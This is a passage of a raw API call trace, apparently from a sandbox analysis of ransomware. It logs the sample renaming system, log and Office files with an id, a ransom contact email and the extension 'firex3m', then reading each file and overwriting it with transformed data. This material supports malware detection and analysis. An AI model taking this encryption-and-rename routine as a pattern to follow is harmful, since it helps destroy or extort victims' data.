[0084.877] Sleep (dwMilliseconds=0x1) [0084.960] Sleep (dwMilliseconds=0x1) [0085.045] Sleep (dwMilliseconds=0x1) [0085.125] Sleep (dwMilliseconds=0x1) [0085.177] Sleep (dwMilliseconds=0x1) [0085.346] Sleep (dwMilliseconds=0x1) [0085.390] Sleep (dwMilliseconds=0x1) [0085.736] Sleep (dwMilliseconds=0x1) [0085.831] Sleep (dwMilliseconds=0x1) [0085.963] Sleep (dwMilliseconds=0x1) [0086.083] Sleep (dwMilliseconds=0x1) [0086.186] Sleep (dwMilliseconds=0x1) [0086.237] Sleep (dwMilliseconds=0x1) [0086.293] Sleep (dwMilliseconds=0x1) [0086.352] Sleep (dwMilliseconds=0x1) [0086.587] Sleep (dwMilliseconds=0x1) [0086.898] Sleep (dwMilliseconds=0x1) [0087.023] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd", len=0x27 | out: pbstr=0x623ff7c*="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 1 [0087.023] GetProcessHeap () returned 0x630000 [0087.023] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x14) returned 0x6b0458 [0087.024] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0087.074] CloseHandle (hObject=0x648) returned 1 [0087.074] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.074] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.075] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.076] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPC~1.FIR")) returned 0x6d4f80 [0087.076] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0087.076] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0087.077] GetProcessHeap () returned 0x630000 [0087.077] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x141) returned 0x67c258 [0087.077] GetProcessHeap () returned 0x630000 [0087.077] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x141) returned 0x67cbc0 [0087.077] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.077] ReadFile (in: hFile=0x648, lpBuffer=0x67c258, nNumberOfBytesToRead=0x120, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c258*, lpNumberOfBytesRead=0x623ff0c*=0x120, lpOverlapped=0x0) returned 1 [0087.079] GetProcessHeap () returned 0x630000 [0087.079] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0087.079] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.079] WriteFile (in: hFile=0x648, lpBuffer=0x67cbc0*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67cbc0*, lpNumberOfBytesWritten=0x623ff0c*=0x120, lpOverlapped=0x0) returned 1 [0087.079] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.079] WriteFile (in: hFile=0x648, lpBuffer=0x67ccdf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67ccdf*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.079] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.079] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.079] CloseHandle (hObject=0x648) returned 1 [0087.080] GetProcessHeap () returned 0x630000 [0087.080] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67cbc0 | out: hHeap=0x630000) returned 1 [0087.080] GetProcessHeap () returned 0x630000 [0087.080] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c258 | out: hHeap=0x630000) returned 1 [0087.080] GetProcessHeap () returned 0x630000 [0087.080] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0087.080] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.080] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xf9da4068, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x623fd20, dwReserved1=0x67c258, cFileName="SetupComplete.cmd.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPC~1.FIR")) returned 0x6d51c0 [0087.083] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0087.083] Sleep (dwMilliseconds=0x1) [0087.091] Sleep (dwMilliseconds=0x1) [0087.109] Sleep (dwMilliseconds=0x1) [0087.471] Sleep (dwMilliseconds=0x1) [0088.052] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", len=0x2c | out: pbstr=0x623ff7c*="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 1 [0088.052] GetProcessHeap () returned 0x630000 [0088.052] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fb8, Size=0x1c) returned 0x6e8f40 [0088.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0088.053] CloseHandle (hObject=0x688) returned 1 [0088.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.053] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.054] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0088.054] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0088.054] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0088.054] GetProcessHeap () returned 0x630000 [0088.054] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f347e0 [0088.054] GetProcessHeap () returned 0x630000 [0088.054] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3fc10 [0088.055] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.055] ReadFile (in: hFile=0x688, lpBuffer=0x6f347e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f347e0*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.740] GetProcessHeap () returned 0x630000 [0093.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0093.740] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.740] WriteFile (in: hFile=0x688, lpBuffer=0x6f3fc10*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3fc10*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0093.741] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.741] WriteFile (in: hFile=0x688, lpBuffer=0x6f4b00f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4b00f*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.741] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.741] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.741] CloseHandle (hObject=0x688) returned 1 [0093.743] GetProcessHeap () returned 0x630000 [0093.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3fc10 | out: hHeap=0x630000) returned 1 [0093.743] GetProcessHeap () returned 0x630000 [0093.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f347e0 | out: hHeap=0x630000) returned 1 [0093.743] GetProcessHeap () returned 0x630000 [0093.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0093.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.743] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfdd1da1f, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x14436, dwReserved0=0x90c7496, dwReserved1=0x6f347d8, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5080 [0093.743] FindClose (in: hFindFile=0x6d5080 | out: hFindFile=0x6d5080) returned 1 [0093.744] Sleep (dwMilliseconds=0x1) [0095.867] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Boot\\en-US\\memtest.exe.mui", len=0x1d | out: pbstr=0x623ff7c*="C:\\Boot\\en-US\\memtest.exe.mui") returned 1 [0095.867] GetProcessHeap () returned 0x630000 [0095.867] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4f80, Size=0x34) returned 0x6d5000 [0095.867] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.867] Sleep (dwMilliseconds=0x1) [0097.886] Sleep (dwMilliseconds=0x1) [0099.477] Sleep (dwMilliseconds=0x1) [0100.793] Sleep (dwMilliseconds=0x1) [0101.515] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Boot\\Fonts\\chs_boot.ttf", len=0x1a | out: pbstr=0x623ff7c*="C:\\Boot\\Fonts\\chs_boot.ttf") returned 1 [0101.515] GetProcessHeap () returned 0x630000 [0101.515] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1418 | out: hHeap=0x630000) returned 1 [0101.516] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.524] Sleep (dwMilliseconds=0x1) [0102.774] Sleep (dwMilliseconds=0x1) [0102.987] Sleep (dwMilliseconds=0x1) [0103.187] Sleep (dwMilliseconds=0x1) [0103.297] Sleep (dwMilliseconds=0x1) [0103.548] Sleep (dwMilliseconds=0x1) [0104.952] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", len=0x31 | out: pbstr=0x623ff7c*="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 1 [0104.952] GetProcessHeap () returned 0x630000 [0104.952] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1250, Size=0xc) returned 0x6b12b0 [0104.952] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0104.953] CloseHandle (hObject=0x6cc) returned 1 [0104.953] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.979] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.980] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI0BDC~1.FIR")) returned 0x6d5000 [0104.980] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0104.981] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0104.981] GetProcessHeap () returned 0x630000 [0104.981] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f8dbb8 [0104.981] GetProcessHeap () returned 0x630000 [0104.981] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f98fe8 [0104.982] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.982] ReadFile (in: hFile=0x6cc, lpBuffer=0x6f8dbb8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8dbb8*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0111.447] GetProcessHeap () returned 0x630000 [0111.447] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0111.447] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.447] WriteFile (in: hFile=0x6cc, lpBuffer=0x6f98fe8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f98fe8*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0111.448] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.448] WriteFile (in: hFile=0x6cc, lpBuffer=0x6fa43e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa43e7*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0111.448] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.448] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0111.448] CloseHandle (hObject=0x6cc) returned 1 [0112.880] GetProcessHeap () returned 0x630000 [0112.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f98fe8 | out: hHeap=0x630000) returned 1 [0112.880] GetProcessHeap () returned 0x630000 [0112.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f8dbb8 | out: hHeap=0x630000) returned 1 [0112.882] GetProcessHeap () returned 0x630000 [0112.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0112.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.882] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x939a7fd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0x90c7496, dwReserved1=0x6f8dbb0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI0BDC~1.FIR")) returned 0x6d5380 [0112.882] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0112.882] Sleep (dwMilliseconds=0x1) [0113.713] Sleep (dwMilliseconds=0x1) [0114.308] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat", len=0x3f | out: pbstr=0x623ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 1 [0114.308] GetProcessHeap () returned 0x630000 [0114.308] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5f20, Size=0x2c) returned 0x6ed5dd0 [0114.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.308] Sleep (dwMilliseconds=0x1) [0114.885] Sleep (dwMilliseconds=0x1) [0115.139] Sleep (dwMilliseconds=0x1) [0115.500] Sleep (dwMilliseconds=0x1) [0115.906] Sleep (dwMilliseconds=0x1) [0117.150] Sleep (dwMilliseconds=0x1) [0117.153] Sleep (dwMilliseconds=0x1) [0117.171] Sleep (dwMilliseconds=0x1) [0117.184] Sleep (dwMilliseconds=0x1) [0117.564] Sleep (dwMilliseconds=0x1) [0117.654] Sleep (dwMilliseconds=0x1) [0117.679] Sleep (dwMilliseconds=0x1) [0117.686] Sleep (dwMilliseconds=0x1) [0117.704] Sleep (dwMilliseconds=0x1) [0117.717] Sleep (dwMilliseconds=0x1) [0123.303] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 1 [0123.303] GetProcessHeap () returned 0x630000 [0123.303] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x198) returned 0x66a3e0 [0123.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0123.306] CloseHandle (hObject=0x414) returned 1 [0123.306] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.331] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, 